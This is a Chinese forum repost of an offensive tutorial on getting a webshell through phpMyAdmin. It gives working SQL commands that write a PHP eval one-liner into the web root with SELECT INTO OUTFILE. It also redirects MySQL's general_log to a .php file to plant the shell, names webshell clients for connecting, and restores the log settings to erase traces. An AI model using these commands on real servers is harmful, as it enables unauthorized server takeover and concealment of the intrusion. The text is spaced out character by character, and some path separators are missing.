搜索

[16751] 2021-05-06_phpmyadmin如何获取shell

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-05-06_phpmyadmin如何获取shell p h p m y a d m i n 如 何 获 取 s h e l l D r u n k m a r s   F r e e B u f   2 0 2 1 - 0 5 - 0 6 前 言 前 言 来 到 p h p m y a d m i n 页 面 后 如 何 g e t s h e l l 呢 ？ 下 面 介 绍 两 种 方 法 一 、 一 、 s e l e c t   i n t o   o u t f i l e 直 接 写 入 直 接 写 入 1 、 利 用 条 件 、 利 用 条 件 对 w e b 目 录 需 要 有 写 权 限 能 够 使 用 单 引 号 ( r o o t ) 知 道 网 站 绝 对 路 径 ( p h p i n f o / p h p 探 针 / 通 过 报 错 等 ) s e c u r e _ f i l e _ p r i v 没 有 具 体 值 2 、 查 看 、 查 看 s e c u r e _ f i l e _ p r i v 值 值 s h o w   g l o b a l   v a r i a b l e s   l i k e   ' % s e c u r e % ' ;
关 于 s e c u r e _ f i l e _ p r i v 配 置 介 绍 ： s e c u r e _ f i l e _ p r i v   是 用 来 限 制   l o a d   d u m p f i l e 、 i n t o   o u t f i l e 、 l o a d _ f i l e ( )   函 数 在 哪 个 目 录 下 拥 有 上 传 或 者 读 取 文 件 的 权 限 我 这 里 的 s e c u r e _ f i l e _ p r i v 值 为 N U L L ， 所 以 不 能 够 导 入 或 导 出 s e c u r e _ f i l e _ p r i v 这 个 值 是 只 读 变 量 ， 只 能 通 过 配 置 文 件 修 改 。 如 果 管 理 员 没 有 配 置 ， 那 么 我 们 是 无 法 进 行 写 入 s h e l l 的 ， 这 里 我 为 了 测 试 能 否 写 入 修 改 一 下 在 M y S Q L 的 配 置 文 件 m y . i n i 中 进 行 配 置 ： 当   s e c u r e _ f i l e _ p r i v   的 值 为   N U L L   ， 表 示 限 制   m y s q l d   不 允 许 导 入 | 导 出 ， 此 时 无 法 提 权 当   s e c u r e _ f i l e _ p r i v   的 值 为   / t m p /   ， 表 示 限 制   m y s q l d   的 导 入 | 导 出 只 能 发 生 在   / t m p /   目 录 下 ， 此 时 也 无 法 提 权 当   s e c u r e _ f i l e _ p r i v   的 值 没 有 具 体 值 时 ， 表 示 不 对   m y s q l d   的 导 入 | 导 出 做 限 制 ， 此 时 可 提 权
修 改 后 s e c u r e _ f i l e _ p r i v 的 值 如 图 所 示 ： 3 、 写 入 一 句 话 、 写 入 一 句 话 这 里 需 要 注 意 的 一 个 点 是 路 径 需 要 用 ” “ 查 看 下 根 目 录 s e l e c t   ' < ? p h p   @ e v a l ( $ P O S T [ 1 ] ) ;   ? > '   I N T O   O U T F I L E   ' D : p h p S t u d y P H P T u t o r i a l W W W a . p h p '
二 、 利 用 全 局 日 志 写 二 、 利 用 全 局 日 志 写 s h e l l 1 、 查 看 配 置 、 查 看 配 置 查 看 m y s q l 的 日 志 状 态 ， 默 认 是 关 闭 的 ， 因 为 这 个 日 志 的 量 非 常 大 对 资 源 是 一 个 比 较 大 的 开 销 g e n e r a l _ l o g _ f i l e 为 日 志 保 存 的 位 置 2 、 开 启 、 开 启 g e n e r a l _ l o g 模 式 模 式 开 启 g e n e r a l _ l o g   的 作 用 ： 开 启 它 可 以 记 录 用 户 输 入 的 每 条 命 令 ， 会 把 其 保 存 在 C : p h p S t u d y M y S Q L d a t a s t u 1 . l o g 的 文 件 中 ， 其 实 就 是 我 们 常 说 的 日 志 文 件 利 用 思 路 ： 开 启 g e n e r a l _ l o g 之 后 把 g e n e r a l _ l o g _ f i l e 的 值 修 改 为 该 网 站 默 认 路 径 下 的 某 一 个 自 定 义 的 p h p 文 件 中 ， 然 后 通 过 l o g 日 志 进 行 写 入 一 句 话 木 马 ， 然 后 再 进 一 步 利 用 这 里 注 意 ： 在 修 改 l o g 路 径 前 ， 源 路 径 一 定 要 提 前 记 录 下 来 ， 我 们 获 取 s h e l l 后 还 要 恢 复 原 来 的 路 径 S H O W   V A R I A B L E S   L I K E   ‘ % g e n e r a l % ’ s e t   g l o b a l   g e n e r a l _ l o g   =   o n ;
再 查 看 一 下 日 志 已 经 开 启 ， 这 时 我 们 就 可 以 通 过 全 局 日 志 写 s h e l l 进 根 目 录 3 、 修 改 日 志 目 录 为 、 修 改 日 志 目 录 为 s h e l l 地 址 地 址 s e t   g l o b a l   g e n e r a l _ l o g _ f i l e = ' C : p h p S t u d y M y S Q L d a t a s h e l l . p h p ' ;
4 、 写 入 、 写 入 s h e l l 因 为 开 启 了 日 志 记 录 功 能 ， 所 执 行 的 s q l 语 句 都 会 被 记 录 在 日 志 中 查 看 下 日 志 ， 发 现 s q l 语 句 已 经 被 记 录 到 了 日 志 中 ， 直 接 用 菜 刀 或 者 蚁 剑 连 接 即 可 5 、 抹 除 痕 迹 、 抹 除 痕 迹 s e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ c m d ] ) ; ? > ' s e t   g l o b a l   g e n e r a l _ l o g _ f i l e = ' C : p h p S t u d y M y S Q L d a t a s t u 1 . l o g ' ; s e t   g l o b a l   g e n e r a l _ l o g   =   o f f ;
再 使 用 日 志 查 看 命 令 发 现 已 经 恢 复 S H O W   V A R I A B L E S   L I K E   ' % g e n e r a l % '
精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理